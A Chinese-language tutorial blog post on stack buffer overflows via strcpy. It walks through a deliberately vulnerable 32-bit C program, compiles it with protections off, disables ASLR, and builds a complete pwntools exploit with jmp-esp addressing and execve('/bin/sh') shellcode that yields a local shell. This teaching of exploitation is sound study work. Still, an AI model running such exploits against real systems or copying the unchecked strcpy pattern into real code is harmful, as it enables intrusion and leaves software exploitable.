strcpy为何不安全

引言

在刚刚开始学校C语言的时候，很多人都用过strcpy这个函数。简单说是一个内存复制的函数。这个函数确实非常方便，但是这个函数是非常不安全，由与这个函数而产生的缓冲区溢出漏洞在很多文章中都有所介绍。我们应该摒弃strcpy的使用，而是用strncpy进行代替。

	
	

		原型声明：char *strcpy(char* dest, const char *src);
	

	

		头文件：#include 和 #include
	

	

		功能：把从src地址开始且含有NULL结束符的字符串复制到以dest开始的地址空间
	

	

		说明：src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串。
	

既然这个函数能造成缓冲区溢出漏洞，那么这个漏洞究竟是什么样子的那，怎么利用这个漏洞那。很多文章对这个却搞的讳莫如深，让人一头雾水。要弄懂这个，我们先了解下Linux下32为程序函数调用约定。

函数调用约定（32位）

以下是一个简单的C程序stackOf.c，后续的内容也是围绕这这个程序展开的。

	
	

		#include
	

	

		#include
	

	

		#include
	

	

		void vul(char * msg){
	

	

		 char buffer[64] ;
	

	

		 strcpy(buffer,msg);
	

	

		 return ;
	

	

		}
	

	

		int main(){
	

	

		 puts("please give me your shellcode:");
	

	

		 char shellcode[256];
	

	

		 memset(shellcode,0,256);
	

	

		 read(0,shellcode,256);
	

	

		 vul(shellcode);
	

	

		 return 0;
	

	

		}
	

这个程序的功能很简单，就是将输入的内容复制到buffer中。不过这里有一个问题，buffer只有64个字节，而输入却可以是256个字节，这会引发什么问题那？下面部分再说。 这里我们来看在执行 vul(shellcode);的时候，对应的汇编代码是什么样子的那，以及进入vul函数和退出vul函数的时候，堆栈的变化情况。 函数调用主要有两个点需要关注： （1）参数的出入方式 （2）堆栈的平衡 这个例子中只有一个参数，可以看出先进行push eax操作，在执行call sym.vul。也就是先将参数入栈，再进行调用操作。

CALL指令（“调用”指令）的功能，就是以下两点：

1. 将下一条指令的所在地址（即当时程序计数器PC的内容）入栈，
2. 并将子程序的起始地址送入PC（于是CPU的下一条指令就会转去执行子程序）

流程如下图所示： 在看下vul的汇编代码：首先将老的ebp入栈，为何需要这一步，为了方便栈回溯。至于栈回溯的问题，后续会单独来说。 重点来说一下leave和ret指令：

CPU执行ret指令时，进行下面的两步操作： (IP) = ((ss)*16 +(sp))（返回地址） (esp) = (esp)+2（32为是+4）

leave指令的作用： 在32位汇编下相当于: mov esp,ebp;//将ebp指向（ebp内部应当保存一个地址，所谓指向即这个地址对应的空间）的值赋给esp pop ebp

程序编译运行

编译stackOf.c

	
	

		gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c
	

运行结果如下： 最好加一条命令关闭系统的的地址随机化

	
	

		sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
	

如果是root用户，可以使用：

	
	

		echo 0 > /proc/sys/kernel/randomize_va_space
	

查资料结论是sudo命令不支持重定向。

攻击的思路

这里来说说一下buffer只有64个字节，而输入却可以是256个字节，这会引发的问题。当用户输入过长时，会向高地址覆盖。 如果将返回地址覆盖为: 就是将返回地址覆盖为jum esp的地址，这样当函数返回的时候，eip指向的就是jmp esp的地址 我们精心设计的buffer= 填充字符 + jmp_esp地址 +shellcode

填充数据

那么数据是怎么计算出来的那。 用r2进行调试（gdb也可以），在strcpy出下断点，运行: 通过分析vul的汇编代码，可知在strcpy调用前将ebx（0xffa97850）入栈，而这就是buffer的起始地址，ebp的地址是0xffa97898，两者相见是0x48 = 64+8 = 72, 别忘了还有ebp在进入函数的时候也入栈了，所以还需要加上4个字节，也就是76个字节。

jmp esp地址

通过ldd命令可查看libc.so的加载地址 UTF-8这个需要加上，能够避免中文乱码。

	
	

		#-*- coding: UTF-8 -*-
	

	

		from pwn import *
	

	

		 
	

	

		p = process('./pwnme') #运行程序
	

	

		p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
	

	

		 
	

	

		#找jmp_esp_addr_offset
	

	

		libc = ELF('/lib32/libc.so.6') 
	

	

		jmp_esp = asm('jmp esp')
	

	

		 
	

	

		jmp_esp_addr_offset = libc.search(jmp_esp).next()
	

	

		 
	

	

		if jmp_esp_addr_offset is None:
	

	

		 print 'Cannot find jmp_esp in libc'
	

	

		else:
	

	

		 print hex(jmp_esp_addr_offset)
	

	

		 
	

	

		libc_base = 0xf7de0000 #你找到的libc加载地址
	

	

		jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
	

	

		 
	

	

		print hex(jmp_esp_addr)
	

jmp esp在程序里的地址 : jmp_esp_addr=jmp_esp_addr_offset+libc_base,结合图解一下

编写shellcode

具体怎么编写可参考：https://blog.csdn.net/helloworlddm/article/details/106594677 shellcode如下所示：

	
	

		'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
	

完整攻击代码

	
	

		#-*- coding: UTF-8 -*-
	

	

		from pwn import *
	

	

		 
	

	

		p = process('./pwnme') #运行程序
	

	

		p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
	

	

		 
	

	

		#找jmp_esp_addr_offset
	

	

		libc = ELF('/lib32/libc.so.6') 
	

	

		jmp_esp = asm('jmp esp')
	

	

		 
	

	

		jmp_esp_addr_offset = libc.search(jmp_esp).next()
	

	

		 
	

	

		if jmp_esp_addr_offset is None:
	

	

		 print 'Cannot find jmp_esp in libc'
	

	

		else:
	

	

		 print hex(jmp_esp_addr_offset)
	

	

		 
	

	

		libc_base = 0xf7de0000 #你找到的libc加载地址
	

	

		jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
	

	

		 
	

	

		print hex(jmp_esp_addr)
	

	

		 
	

	

		#构造布局
	

	

		buf = 'A'*76 
	

	

		buf += p32(jmp_esp_addr)
	

	

		buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
	

	

		 
	

	

		with open('poc','wb') as f:
	

	

		 f.write(buf)
	

	

		 
	

	

		p.sendline(buf) #发送构造后的buf
	

	

		 
	

	

		p.interactive()
	

攻击效果

从图中可以看出我们居然获得了shell，那删除文件、浏览文件、复制文件等等很多操作都可以随心所欲。

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